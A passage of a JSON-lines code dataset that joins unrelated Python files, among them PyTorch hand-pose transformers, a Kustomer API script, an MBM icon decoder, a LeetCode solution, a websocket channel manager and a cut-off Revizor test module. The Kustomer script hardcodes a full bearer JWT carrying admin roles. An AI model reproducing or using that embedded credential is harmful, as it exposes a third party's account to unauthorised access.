self.pos_emb(inp, None)\n\n out = self.activation(self.conv1(inp))\n out = self.activation(self.conv2(out))\n out = self.activation(self.conv3(out))\n out = self.conv4(out)\n\n out = out.view(bs, -1, dim, len)\n\n out = out.permute(0, 3, 1, 2)\n\n return out\n\n\nclass TransformerEncoder(nn.Module):\n \"\"\"\n Transformer encoder consisting of *args.encoder_layers* layers. Each layer\n is a :class:`TransformerEncoderLayer`.\n Args:\n args (argparse.Namespace): parsed command-line arguments\n dictionary (~fairseq.data.Dictionary): encoding dictionary\n embed_tokens (torch.nn.Embedding): input embedding\n \"\"\"\n\n def __init__(self, args, embed_dim):\n\n super(TransformerEncoder, self).__init__()\n\n self.dropout_module = FairseqDropout(args.dropout,\n module_name=self.__class__.__name__)\n self.encoder_layerdrop = args.encoder_layerdrop\n\n # embed_dim = embed_tokens.embedding_dim\n # self.padding_idx = embed_tokens.padding_idx\n self.max_source_positions = args.max_source_positions\n\n # self.embed_tokens = embed_tokens\n\n # self.embed_scale = 1.0 if args.no_scale_embedding else math.sqrt(embed_dim)\n\n # self.embed_positions = (\n # PositionalEmbedding(\n # args.max_source_positions,\n # embed_dim,\n # self.padding_idx,\n # learned=args.encoder_learned_pos,\n # )\n # if not args.no_token_positional_embeddings\n # else None\n # )\n self.embed_positions = None\n\n if getattr(args, \"layernorm_embedding\", False):\n self.layernorm_embedding = LayerNorm(embed_dim)\n else:\n self.layernorm_embedding = None\n\n if not args.adaptive_input and args.quant_noise_pq > 0:\n self.quant_noise = apply_quant_noise_(\n nn.Linear(embed_dim, embed_dim, bias=False),\n args.quant_noise_pq,\n args.quant_noise_pq_block_size,\n )\n else:\n self.quant_noise = None\n\n if self.encoder_layerdrop > 0.0:\n self.layers = LayerDropModuleList(p=self.encoder_layerdrop)\n else:\n self.layers = nn.ModuleList([])\n\n\n self.layers.extend(\n [self.build_encoder_layer(args) for i in range(args.encoder_layers)]\n )\n self.num_layers = len(self.layers)\n\n if args.encoder_normalize_before:\n self.layer_norm = LayerNorm(embed_dim)\n else:\n self.layer_norm = None\n\n def build_encoder_layer(self, args):\n\n return TransformerEncoderLayer(args)\n\n\n def forward_embedding(self, src_tokens):\n # embed tokens and positions\n x = embed = self.embed_scale * self.embed_tokens(src_tokens)\n if self.embed_positions is not None:\n x = embed + self.embed_positions(src_tokens)\n if self.layernorm_embedding is not None:\n x = self.layernorm_embedding(x)\n x = self.dropout_module(x)\n if self.quant_noise is not None:\n x = self.quant_noise(x)\n return x, embed\n\n def forward(self, src_tokens, src_lengths,\n return_all_hiddens: bool = False):\n \"\"\"\n Args:\n src_tokens (LongTensor): tokens in the source language of shape\n `(batch, src_len)`\n src_lengths (torch.LongTensor): lengths of each source sentence of\n shape `(batch)`\n return_all_hiddens (bool, optional): also return all of the\n intermediate hidden states (default: False).\n Returns:\n namedtuple:\n - **encoder_out** (Tensor): the last encoder layer's output of\n shape `(src_len, batch, embed_dim)`\n - **encoder_padding_mask** (ByteTensor): the positions of\n padding elements of shape `(batch, src_len)`\n - **encoder_embedding** (Tensor): the (scaled) embedding lookup\n of shape `(batch, src_len, embed_dim)`\n - **encoder_states** (List[Tensor]): all intermediate\n hidden states of shape `(src_len, batch, embed_dim)`.\n Only populated if *return_all_hiddens* is True.\n \"\"\"\n # x, encoder_embedding = self.forward_embedding(src_tokens)\n\n # B x T x C -> T x B x C\n x = src_tokens\n batch_size, seq_len = (int(x.shape[0]), int(x.shape[1]))\n x = x.view(batch_size, seq_len, -1)\n x = x.transpose(0, 1)\n\n # compute padding mask\n # encoder_padding_mask = src_tokens.eq(self.padding_idx)\n\n encoder_padding_mask = torch.zeros(batch_size, seq_len, dtype=torch.uint8)\n encoder_padding_mask += 1\n\n encoder_padding_mask = encoder_padding_mask.to(x.device)\n\n for i, len in enumerate(src_lengths):\n for j in range(len):\n j -= 1\n encoder_padding_mask[i, j] = 0\n\n encoder_states = [] if return_all_hiddens else None\n\n # encoder layers\n for layer in self.layers:\n x = layer(x, encoder_padding_mask)\n if return_all_hiddens:\n assert encoder_states is not None\n encoder_states.append(x)\n\n if self.layer_norm is not None:\n x = self.layer_norm(x)\n\n return EncoderOut(\n encoder_out=x, # T x B x C\n encoder_padding_mask=encoder_padding_mask, # B x T\n encoder_embedding=None, # B x T x C\n encoder_states=encoder_states, # List[T x B x C]\n src_tokens=None,\n src_lengths=None,\n )\n\n @torch.jit.export\n def reorder_encoder_out(self, encoder_out: EncoderOut, new_order):\n \"\"\"\n Reorder encoder output according to *new_order*.\n Args:\n encoder_out: output from the ``forward()`` method\n new_order (LongTensor): desired order\n Returns:\n *encoder_out* rearranged according to *new_order*\n \"\"\"\n \"\"\"\n Since encoder_padding_mask and encoder_embedding are both of type\n Optional[Tensor] in EncoderOut, they need to be copied as local\n variables for Torchscript Optional refinement\n \"\"\"\n encoder_padding_mask: Optional[\n Tensor] = encoder_out.encoder_padding_mask\n encoder_embedding: Optional[Tensor] = encoder_out.encoder_embedding\n\n new_encoder_out = (\n encoder_out.encoder_out\n if encoder_out.encoder_out is None\n else encoder_out.encoder_out.index_select(1, new_order)\n )\n new_encoder_padding_mask = (\n encoder_padding_mask\n if encoder_padding_mask is None\n else encoder_padding_mask.index_select(0, new_order)\n )\n new_encoder_embedding = (\n encoder_embedding\n if encoder_embedding is None\n else encoder_embedding.index_select(0, new_order)\n )\n src_tokens = encoder_out.src_tokens\n if src_tokens is not None:\n src_tokens = src_tokens.index_select(0, new_order)\n\n src_lengths = encoder_out.src_lengths\n if src_lengths is not None:\n src_lengths = src_lengths.index_select(0, new_order)\n\n encoder_states = encoder_out.encoder_states\n if encoder_states is not None:\n for idx, state in enumerate(encoder_states):\n encoder_states[idx] = state.index_select(1, new_order)\n\n return EncoderOut(\n encoder_out=new_encoder_out, # T x B x C\n encoder_padding_mask=new_encoder_padding_mask, # B x T\n encoder_embedding=new_encoder_embedding, # B x T x C\n encoder_states=encoder_states, # List[T x B x C]\n src_tokens=src_tokens, # B x T\n src_lengths=src_lengths, # B x 1\n )\n\n def max_positions(self):\n \"\"\"Maximum input length supported by the encoder.\"\"\"\n if self.embed_positions is None:\n return self.max_source_positions\n return min(self.max_source_positions,\n self.embed_positions.max_positions)\n\n def upgrade_state_dict_named(self, state_dict, name):\n \"\"\"Upgrade a (possibly old) state dict for new versions of fairseq.\"\"\"\n if isinstance(self.embed_positions, SinusoidalPositionalEmbedding):\n weights_key = \"{}.embed_positions.weights\".format(name)\n if weights_key in state_dict:\n print(\"deleting {0}\".format(weights_key))\n del state_dict[weights_key]\n state_dict[\n \"{}.embed_positions._float_tensor\".format(name)\n ] = torch.FloatTensor(1)\n for i in range(self.num_layers):\n # update layer norms\n self.layers[i].upgrade_state_dict_named(\n state_dict, \"{}.layers.{}\".format(name, i)\n )\n\n version_key = \"{}.version\".format(name)\n if utils.item(state_dict.get(version_key, torch.Tensor([1]))[0]) < 2:\n # earlier checkpoints did not normalize after the stack of layers\n self.layer_norm = None\n self.normalize = False\n state_dict[version_key] = torch.Tensor([1])\n return state_dict\n\n\nclass LinearPositionalEmbedding(nn.Module):\n\n def __init__(self, max_len=100):\n super(LinearPositionalEmbedding, self).__init__()\n\n self.pe = range(max_len)\n self.pe = torch.tensor(self.pe)\n self.pe = torch.unsqueeze(self.pe, dim=0)\n self.pe = torch.unsqueeze(self.pe, dim=0)\n self.pe = self.pe.float() / max_len\n\n\n def forward(self, inp, lengths):\n bs = inp.shape[0]\n pe = torch.cat(bs * [self.pe], dim=0).to(inp.device)\n\n out = torch.cat([pe, inp], dim=1)\n\n return out\n\nclass PositionalEncoding(nn.Module):\n\n def __init__(self, d_model, dropout=0.1, max_len=5000):\n super(PositionalEncoding, self).__init__()\n self.dropout = nn.Dropout(p=dropout)\n\n pe = torch.zeros(max_len, d_model)\n position = torch.arange(0, max_len, dtype=torch.float).unsqueeze(1)\n div_term = torch.exp(torch.arange(0, d_model, 2).float() * (-math.log(10000.0) / d_model))\n\n pe[:, 0::2] = torch.sin(position * div_term)\n pe[:, 1::2] = torch.cos(position * div_term)\n pe = pe.unsqueeze(0).transpose(0, 1)\n self.register_buffer('pe', pe)\n\n def forward(self, x):\n x = x + self.pe[:x.size(0), :]\n return self.dropout(x)\n\nclass SinusoidalPositionalEmbedding(nn.Module):\n def forward(self, inp, lenghts):\n batch_size, seq_len = inp.shape[0], inp.shape[1]\n positional_embeddings = torch.zeros(batch_size, seq_len)\n\n for i, len in enumerate(lenghts):\n for x in range(len):\n positional_embeddings[i, x] = math.cos(x / len * math.pi)\n\n inp.cat(positional_embeddings, dim=2)\n\n return inp\n\nclass ConvTransformerEncoder(nn.Module):\n def __init__(self, args, emb_dim):\n super(ConvTransformerEncoder, self).__init__()\n\n self.transformerEncoder = TransformerEncoder(args, emb_dim)\n\n self.conv1 = nn.Conv1d(12 * 2, 21 * 2, kernel_size=1)\n\n def forward(self, x, src_lengths):\n out = x.permute(0, 2, 3, 1)\n bs, n_keypoints, dim, len = out.shape\n\n out = out.view(bs, n_keypoints * dim, len)\n\n out = self.conv1(out)\n out = out.permute(0, 2, 1)\n out = self.transformerEncoder(out, src_lengths)\n\n # B x C x L -> B x L x C\n # out = out.permute(0, 2, 1)\n # out = out.view(bs, len, -1, dim)\n\n\n\n out = out.encoder_out\n out = out.permute(1, 0, 2)\n out = out.view(bs, len, 21, dim)\n\n return out\n\nclass TransformerEnc(nn.Module):\n\n def __init__(self, ninp, nhead, nhid, nout, nlayers, dropout=0.5):\n\n super(TransformerEnc, self).__init__()\n from torch.nn import TransformerEncoder, TransformerEncoderLayer\n self.model_type = 'Transformer'\n self.src_mask = None\n self.pos_encoder = PositionalEncoding(ninp, dropout, max_len=100)\n encoder_layers = TransformerEncoderLayer(nhid, nhead, nhid,\n dropout)\n\n #self.linear_pos_enc = LinearPositionalEmbedding(max_len=100)\n self.transformer_encoder = TransformerEncoder(encoder_layers,\n nlayers)\n # self.encoder = nn.Embedding(ntoken, ninp)\n self.ninp = ninp\n\n self.hidden2pose_projection = nn.Linear(nhid, nout)\n self.pose2hidden_projection = nn.Linear(ninp, nhid)\n\n #self.init_weights()\n\n def _generate_square_subsequent_mask(self, sz):\n mask = (torch.triu(torch.ones(sz, sz)) == 1).transpose(0, 1)\n mask = mask.float().masked_fill(mask == 0,\n float('-inf')).masked_fill(\n mask == 1, float(0.0))\n return mask\n\n def init_weights(self):\n initrange = 0.1\n # self.encoder.weight.data.uniform_(-initrange, initrange)\n self.decoder.bias.data.zero_()\n self.decoder.weight.data.uniform_(-initrange, initrange)\n\n def forward(self, src):\n bs, seq_len, n_in_joints, dim = src.shape\n src = src.view(bs, seq_len, n_in_joints * dim)\n\n #src = self.linear_pos_enc(src)\n\n if self.src_mask is None or self.src_mask.size(0) != len(src):\n device = src.device\n mask = self._generate_square_subsequent_mask(len(src)).to(\n device)\n self.src_mask = mask\n\n # src = self.encoder(src) * math.sqrt(self.ninp)\n # B x T x C -> T x B x C\n src = src.permute(1, 0, 2)\n src = self.pos_encoder(src)\n\n src = self.pose2hidden_projection(src)\n output = self.transformer_encoder(src)\n output = self.hidden2pose_projection(output)\n output = output.permute(1, 0, 2)\n\n output = output.view(bs, seq_len, -1, dim)\n\n return output\n\n\nclass TextPoseTransformer(nn.Module):\n def __init__(self, n_tokens, n_joints, joints_dim, nhead, nhid, nout, n_enc_layers, n_dec_layers, dropout=0.5):\n super(TextPoseTransformer, self).__init__()\n from torch.nn import Transformer\n self.model_type = 'Transformer'\n self.src_mask = None\n self.token_pos_encoder = PositionalEncoding(nhid, dropout,\n max_len=40)\n self.pose_pos_encoder = PositionalEncoding(nhid, dropout,\n max_len=100)\n\n self.transformer = Transformer(nhid, nhead, n_enc_layers, n_dec_layers, nhid, dropout=dropout)\n\n self.token_embedding = nn.Embedding(n_tokens, nhid)\n self.hidden2pose_projection = nn.Linear(nhid, nout)\n self.pose2hidden_projection = nn.Linear(n_joints*joints_dim, nhid)\n\n self.init_weights()\n\n\n def forward(self, input_tokens, input_pose):\n bs, seq_len, n_in_joints, dim = input_pose.shape\n input_pose = input_pose.view(bs, seq_len, -1)\n input_pose = input_pose.permute(1, 0, 2)\n\n input_tokens_embedding = self.token_embedding(input_tokens)\n input_tokens_embedding = input_tokens_embedding.permute(1, 0, 2)\n #input_pose = input_pose.reshape(bs * seq_len, -1)\n input_pose = self.pose2hidden_projection(input_pose)\n\n predictions = self.transformer(input_tokens_embedding, input_pose)\n\n predictions = self.hidden2pose_projection(predictions)\n\n predictions = predictions.permute(1, 0, 2)\n predictions = predictions.view(bs, seq_len, -1, dim)\n\n\n\n\n\n return predictions\n\n\n def init_weights(self):\n initrange = 0.1\n # self.encoder.weight.data.uniform_(-initrange, initrange)\n # self.transformer.bias.data.zero_()\n # self.transformer.weight.data.uniform_(-initrange, initrange)\n pass\n","sub_path":"body2hand/src/models/HandPoseModels.py","file_name":"HandPoseModels.py","file_ext":"py","file_size_in_byte":17630,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"370625226","text":"import requests\nimport json\nimport random\nimport time\nfrom epub_conversion.utils import open_book, convert_epub_to_lines, convert_lines_to_text\nfrom epub_conversion.wiki_decoder import convert_wiki_to_lines\n\ntoken_sandbox = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjViOTIyMmRhZjBiZmEwMDAxMGMwMGUyMiIsInVzZXIiOiI1YjkyMjJkYTM0OWFlMTRiODk1M2E3OGYiLCJvcmciOiI1YWM2NjQzYTA1YmViNzc2NDM0NTM4OGMiLCJvcmdOYW1lIjoiZ2xvdm8iLCJ1c2VyVHlwZSI6Im1hY2hpbmUiLCJyb2xlcyI6WyJvcmcuYWRtaW4iLCJvcmcudXNlciIsIm9yZy50cmFja2luZyIsIm9yZy5ob29rcyJdLCJhdWQiOiJ1cm46Y29uc3VtZXIiLCJpc3MiOiJ1cm46YXBpIiwic3ViIjoiNWI5MjIyZGEzNDlhZTE0Yjg5NTNhNzhmIn0.4fXAH43SHBl5T5LxMbGMqG2BrW8i33QzUG3wDOUshNA'\n\nheader = {\n \"authorization\" : \"Bearer \"+token_sandbox,\n \"content-type\": \"application/json\"\n }\ndef get_all_conversations():\n\n payload = {\"and\": [{\"conversation_created_at\":{\"gte\": \"2018-09-20T00:10:24Z\"}},{\"conversation_custom_countryStr\":{\"equals\": \"FR\"}}], \"sort\": [{\"conversation_created_at\": {\"order\": \"asc\"}}], \"queryContext\":\"conversation\"}\n\n url = 'https://api.kustomerapp.com/v1/customers/search'\n u = []\n\n response = requests.post(url,headers=header,data=json.dumps(payload)).json()\n\n print(json.dumps(response))\n # exit()\n while True:\n try:\n for user in response['data']:\n if(user['id'] == '5bcc56c1a05074001b0e1f64'):\n print(\"FOUND\")\n exit()\n print(response[\"meta\"][\"totalPages\"])\n print(response[\"meta\"][\"page\"])\n url = 'https://api.kustomerapp.com' + response['links']['next']\n response = requests.post(url,headers=header,data=json.dumps(payload)).json()\n except Exception as ex:\n print(url)\n print(json.dumps(response,indent=4))\n print(ex)\n print(\"conversation not found\")\n exit()\n return u\n\ndef get_users(dic,countrydic,userTypedic,qt):\n dict = []\n for v in dic:\n for c in countrydic:\n for ut in userTypedic:\n if((v['attributes']['custom']['countryStr'] == c) and (v['attributes']['custom']['userTypeStr'] == ut)):\n dict.append(v)\n return dict\n\ndef create_conv(who,file_lines):\n line = random.choice(file_lines)\n if (len(line)<=1):\n line = random.choice(file_lines)\n\n data = {\n 'name' : str(line),\n 'status' : 'open'\n }\n\n url = 'https://api.kustomerapp.com/v1/customers/'+str(who)+ '/conversations'\n\n response = requests.post(url,headers=header,data = json.dumps(data)).json()\n print(response)\n\n line_msg = random.choice(file_lines)\n if (len(line_msg)<=1):\n line_msg = random.choice(file_lines)\n\n send_message(response['data']['id'],line_msg)\n\n\ndef send_message(where, message):\n channels = ['chat','email']\n url = 'https://api.kustomerapp.com/v1/conversations/'+str(where)+ '/messages'\n data = {\n 'channel' : random.choice(channels),\n 'app' : 'kustomer',\n 'subject' : message\n }\n response = requests.post(url,headers=header,data=json.dumps(data)).json()\n print(response)\n\ndef send_message_in_channel(where,message,channel):\n url = 'https://api.kustomerapp.com/v1/conversations/'+str(where)+ '/messages'\n data = {\n 'channel' : channel,\n 'app' : 'kustomer',\n 'size' : '1',\n 'subject' : message\n }\n requests.post(url,headers=header,data=json.dumps(data))\n\n\nif __name__ == '__main__':\n get_all_conversations()\n","sub_path":"get_conversations_filter.py","file_name":"get_conversations_filter.py","file_ext":"py","file_size_in_byte":3524,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"400342585","text":"# icon_image.py\r\n# called by just import icon_image\r\n# im = icon_image(file_mbm, idx)\r\nfrom graphics import Image\r\nfrom struct import unpack\r\n\r\ndef readL(f, pos=None):\r\n if pos is not None:\r\n f.seek(pos)\r\n return unpack('L', f.read(4))[0]\r\n\r\ndef open(file_mbm='z:\\\\system\\\\data\\\\avkon.mbm', idx = 28):\r\n\r\n # read icon data from mbm file\r\n f = file(file_mbm, 'rb')\r\n if readL(f) != 0x10000041:\r\n return None # work for mbm on ROM (z:) only\r\n start = readL(f, 8+4*idx)\r\n f.seek(start+20)\r\n length = readL(f) - readL(f) # pd_size - offset\r\n width, height = readL(f), readL(f)\r\n enc = readL(f, start+56)\r\n f.seek(start+68)\r\n data_encoded = f.read(length)\r\n\r\n # decode the data\r\n data_padded = rle_decode(data_encoded, enc)\r\n mat = bit_matrix(data_padded, width, height)\r\n \r\n im = Image.new((width, height), '1')\r\n for j in range(height):\r\n for i in range(width):\r\n im.point((i,j), mat[j][i]*0xffffff)\r\n return im\r\n\r\n# Decode of 8-bit RLE\r\n# Either to repeat-(n+1)-times or not repeat (100-n) bytes\r\ndef rle_decode(bytes, enc=1):\r\n if not enc: return bytes\r\n out = []\r\n i = 0\r\n while i < len(bytes):\r\n n = ord(bytes[i])\r\n i += 1\r\n if n < 0x80:\r\n out.append( bytes[i] * (n+1) )\r\n i += 1\r\n else:\r\n n = 0x100 - n\r\n out.append( bytes[i:i+n] )\r\n i += n\r\n return ''.join(out)\r\n\r\n# from bytes to bit matrix\r\n# Each line was padded to 4-byte boundary, must discard the end\r\ndef bit_matrix(bytes, width, height):\r\n mat = []\r\n k = 0\r\n for j in range(height):\r\n line = []\r\n while len(line) int:\n ht_t = 26 * [0]\n ht_s = 26 * [0]\n for c in t:\n idx = ord(c) - ord('a')\n ht_t[idx] += 1\n for c in s:\n idx = ord(c) - ord('a')\n ht_s[idx] += 1\n res = 0\n for i in range(26):\n res += max(ht_s[i] - ht_t[i], 0)\n return res\n","sub_path":"leetcode/1347-minimum-number-of-steps-to-make-two-strings-anagram/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":580,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"125540861","text":"from typing import TYPE_CHECKING, Dict, Iterator, List, Optional, Tuple\n\nfrom openapi.data.validate import ValidationErrors\n\nfrom .channel import CallbackType, Channel\nfrom .errors import CannotSubscribe\n\nif TYPE_CHECKING: # pragma: no cover\n from .manager import SocketsManager\n\n\nclass Channels:\n \"\"\"Manage channels for publish/subscribe\"\"\"\n\n def __init__(self, sockets: \"SocketsManager\") -> None:\n self.sockets: \"SocketsManager\" = sockets\n self._channels: Dict[str, Channel] = {}\n\n @property\n def registered(self) -> Tuple[str, ...]:\n \"\"\"Registered channels\"\"\"\n return tuple(self._channels)\n\n def __len__(self) -> int:\n return len(self._channels)\n\n def __contains__(self, channel_name: str) -> bool:\n return channel_name in self._channels\n\n def __iter__(self) -> Iterator[Channel]:\n return iter(self._channels.values())\n\n def clear(self) -> None:\n self._channels.clear()\n\n def get(self, channel_name: str) -> Optional[Channel]:\n return self._channels.get(channel_name)\n\n def info(self) -> Dict:\n return {channel.name: channel.info() for channel in self}\n\n async def __call__(self, channel_name: str, message: Dict) -> None:\n \"\"\"Channel callback\"\"\"\n channel = self.get(channel_name)\n if channel:\n closed = await channel(message)\n for websocket in closed:\n for channel_name, channel in tuple(self._channels.items()):\n channel.remove_callback(websocket)\n await self._maybe_remove_channel(channel)\n\n async def register(\n self, channel_name: str, event_name: str, callback: CallbackType\n ) -> Channel:\n \"\"\"Register a callback\n\n :param channel_name: name of the channel\n :param event_name: name of the event in the channel or a pattern\n :param callback: the callback to invoke when the `event` on `channel` occurs\n \"\"\"\n channel = self.get(channel_name)\n if channel is None:\n try:\n await self.sockets.subscribe(channel_name)\n except CannotSubscribe:\n raise ValidationErrors(dict(channel=\"Invalid channel\"))\n else:\n channel = Channel(channel_name)\n self._channels[channel_name] = channel\n event = channel.register(event_name, callback)\n await self.sockets.subscribe_to_event(channel.name, event.name)\n return channel\n\n async def unregister(\n self, channel_name: str, event: str, callback: CallbackType\n ) -> Optional[Channel]:\n \"\"\"Safely unregister a callback from the list of event\n callbacks for channel_name\n \"\"\"\n channel = self.get(channel_name)\n if channel is None:\n raise ValidationErrors(dict(channel=\"Invalid channel\"))\n channel.unregister(event, callback)\n return await self._maybe_remove_channel(channel)\n\n async def _maybe_remove_channel(self, channel: Channel) -> Channel:\n if not channel:\n await self.sockets.unsubscribe(channel.name)\n self._channels.pop(channel.name)\n return channel\n\n def get_subscribed(self, callback: CallbackType) -> Dict[str, List[str]]:\n subscribed = {}\n for channel in self:\n events = channel.get_subscribed(callback)\n if events:\n subscribed[channel.name] = events\n return subscribed\n","sub_path":"openapi/ws/channels.py","file_name":"channels.py","file_ext":"py","file_size_in_byte":3468,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"285382052","text":"import os\nfrom setuptools import Command, find_packages, setup\n\nNAME = \"alto-starter\"\nDESCRIPTION = \"Utils for introducing a service into Alto-AI platform\"\nEMAIL = \"vmolokanov@star.global\"\nAUTHOR = \"Viktor Molokanov\"\nREQUIRES_PYTHON = \">=3.6.0\"\n\nPROJECT_ROOT = os.path.abspath(os.path.dirname(__file__))\n\n\ndef load_requirements():\n with open(os.path.join(PROJECT_ROOT, \"requirements.txt\"), \"r\") as f:\n return f.read().splitlines()\n\n\ndef load_version():\n context = {}\n with open(os.path.join(PROJECT_ROOT, \"alto_starter\", \"__version__.py\")) as f:\n exec(f.read(), context)\n return context[\"__version__\"]\n\n\nsetup(\n name=NAME,\n version=load_version(),\n description=DESCRIPTION,\n author=AUTHOR,\n author_email=EMAIL,\n python_requires=REQUIRES_PYTHON,\n packages=find_packages(exclude=(\"tests\",)),\n install_requires=load_requirements(),\n include_package_data=True,\n classifiers=[\n \"Programming Language :: Python\",\n \"Programming Language :: Python :: 3.6\",\n \"Programming Language :: Python :: 3.7\",\n \"Programming Language :: Python :: 3.8\",\n \"Programming Language :: Python :: Implementation :: CPython\",\n ],\n)","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1196,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"126487921","text":"__all__ = (\n 'TokenSet',\n)\n\nfrom collections import OrderedDict\n\nfrom .token_list import TokenList\n\n\nclass Marking(OrderedDict):\n def __setitem__(self, key, value):\n if value:\n if not isinstance(value, TokenList):\n value = TokenList(value)\n super().__setitem__(key, value)\n else:\n if key in self:\n del self[key]\n","sub_path":"petra/marking.py","file_name":"marking.py","file_ext":"py","file_size_in_byte":395,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"298728551","text":"\n\n\nimport os\nprint(os.getcwd())\nprint(os.listdir())\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nimg=plt.imread(\"dubai.jpg\")\n\ndef boyutlandir(imm):\n #gönderilen mxn lik resmi m/2 x n/2 lik yapan fonksiyon\n m,n,p=imm.shape\n new_m=int(m/2)\n new_n=int(n/2)\n im_5=np.zeros((new_m,new_n),dtype=float)\n for m in range(new_m): \n for n in range(new_n):\n s=(imm[m*2,n*2,0]+imm[m*2,n*2,1]+imm[m*2,n*2,2])/3\n im_5[m,n]=float(s)\n return im_5\n\nplt.imshow(img)\nplt.show()\nimg_kucuk=boyutlandir(img) \nplt.imshow(img_kucuk)\nplt.show() #resim boyutu kuculdu ama resmin netliği bozuldu\n\n\ndef boyut_Degis11(img):\n m,n,p=img.shape\n new_m=int(m/2)\n new_n=int(n/2)\n im_8=np.zeros((new_m,new_n,3),dtype=int)\n for m in range(new_m): \n for n in range(new_n):\n im_8[m,n,0]=int(img[m*2,n*2,0])\n im_8[m,n,1]=int(img[m*2,n*2,1])\n im_8[m,n,2]=int(img[m*2,n*2,2])\n return im_8\n\nplt.imshow(img)\nplt.show()\nimg_yeni= boyut_Degis11(img) #resim boyutu bozulmalar olmadan kuculdu \nplt.imshow(img_yeni)\nplt.show()\n\n#plt.imsave(\"test.png\",img_yeni,cmap=\"gray\") bu satır hata veriyor??\n\n\nimg2= boyut_Degis11(img_yeni)\nplt.imshow(img2)\nplt.show()\nimg3= boyut_Degis11(img2)\nplt.imshow(img3)\nplt.show()","sub_path":"week2/boyut_Degistir.py","file_name":"boyut_Degistir.py","file_ext":"py","file_size_in_byte":1281,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"383875153","text":"from time import sleep\nfrom typing import Callable\n\n\nclass Pending:\n\n @property\n def timeout(self):\n return self.__timeout\n\n @timeout.setter\n def timeout(self, value):\n self.__timeout = value\n\n @property\n def interval(self):\n return self.__interval\n\n @interval.setter\n def interval(self, value):\n self.__interval = value\n\n def __init__(self, timeout: int = None, interval: int = 1):\n self.timeout = timeout\n self.interval = interval\n\n def judge(self, assertion, error_value=False):\n try:\n return assertion()\n except:\n return error_value\n\n def until(self, assertion: Callable[[], bool]):\n count = 0\n while True:\n if self.judge(assertion):\n return self\n else:\n if self.timeout is not None and count * self.interval > self.timeout:\n break\n else:\n sleep(self.interval)\n count += 1\n raise Exception(\"Timeout {} has reached\".format(self.timeout))\n","sub_path":"python/across/pending.py","file_name":"pending.py","file_ext":"py","file_size_in_byte":1097,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"138352394","text":"__author__ = 'gigimon'\n\nimport os\nimport time\nimport logging\nimport collections\n\nfrom lettuce import world, step\n\nfrom revizor2 import consts\nfrom revizor2.conf import CONF\nfrom revizor2.utils import wait_until\nfrom revizor2.helpers.jsonrpc import ServiceError\nfrom revizor2.helpers.parsers import parse_apt_repository, parse_rpm_repository\nfrom revizor2.defaults import DEFAULT_SERVICES_CONFIG\nfrom revizor2.consts import Platform, Dist, SERVICES_PORTS_MAP, BEHAVIORS_ALIASES\n\n\nLOG = logging.getLogger(__name__)\n\n\nclass VerifyProcessWork(object):\n\n @staticmethod\n def verify(server, behavior=None, port=None):\n if not behavior:\n behavior = server.role.behaviors[0]\n LOG.info('Verify %s behavior process work in server %s (on port: %s)' % (behavior, server.id, port))\n if hasattr(VerifyProcessWork, '_verify_%s' % behavior):\n return getattr(VerifyProcessWork, '_verify_%s' % behavior)(server, port)\n return True\n\n @staticmethod\n def _verify_process_running(server, process_name):\n LOG.debug('Check process %s in running state on server %s' % (process_name, server.id))\n node = world.cloud.get_node(server)\n for i in range(3):\n out = node.run(\"ps -C %s -o pid=\" % process_name)\n if not out[0].strip():\n LOG.warning(\"Process %s don't work in server %s (attempt %s)\" % (process_name, server.id, i))\n else:\n LOG.info(\"Process %s work in server %s\" % (process_name, server.id))\n return True\n time.sleep(5)\n return False\n\n @staticmethod\n def _verify_open_port(server, port):\n for i in range(5):\n opened = world.check_open_port(server, port)\n if opened:\n return True\n time.sleep(15)\n return False\n\n @staticmethod\n def _verify_app(server, port):\n LOG.info('Verify apache (%s) work in server %s' % (port, server.id))\n node = world.cloud.get_node(server)\n results = [VerifyProcessWork._verify_process_running(server,\n DEFAULT_SERVICES_CONFIG['app'][\n Dist.get_os_family(node.os[0])]['service_name']),\n VerifyProcessWork._verify_open_port(server, port)]\n return all(results)\n\n @staticmethod\n def _verify_www(server, port):\n LOG.info('Verify nginx (%s) work in server %s' % (port, server.id))\n results = [VerifyProcessWork._verify_process_running(server, 'nginx'),\n VerifyProcessWork._verify_open_port(server, port)]\n return all(results)\n\n @staticmethod\n def _verify_redis(server, port):\n LOG.info('Verify redis-server (%s) work in server %s' % (port, server.id))\n results = [VerifyProcessWork._verify_process_running(server, 'redis-server'),\n VerifyProcessWork._verify_open_port(server, port)]\n LOG.debug('Redis-server verifying results: %s' % results)\n return all(results)\n\n @staticmethod\n def _verify_scalarizr(server, port=8010):\n LOG.info('Verify scalarizr (%s) work in server %s' % (port, server.id))\n if CONF.feature.driver.cloud_family == Platform.CLOUDSTACK:\n port = server.details['scalarizr.ctrl_port']\n results = [VerifyProcessWork._verify_process_running(server, 'scalarizr'),\n VerifyProcessWork._verify_process_running(server, 'scalr-upd-client'),\n VerifyProcessWork._verify_open_port(server, port)]\n LOG.debug('Scalarizr verifying results: %s' % results)\n return all(results)\n\n\n@step('I change repo in ([\\w\\d]+)$')\ndef change_repo(step, serv_as):\n server = getattr(world, serv_as)\n node = world.cloud.get_node(server)\n branch = CONF.feature.to_branch\n change_repo_to_branch(node, branch)\n\n\n@step('I change repo in ([\\w\\d]+) to system$')\ndef change_repo(step, serv_as):\n server = getattr(world, serv_as)\n node = world.cloud.get_node(server)\n change_repo_to_branch(node, CONF.feature.branch)\n\n\ndef change_repo_to_branch(node, branch):\n if 'ubuntu' in node.os[0].lower() or 'debian' in node.os[0].lower():\n LOG.info('Change repo in Ubuntu')\n node.put_file('/etc/apt/sources.list.d/scalr-branch.list',\n 'deb 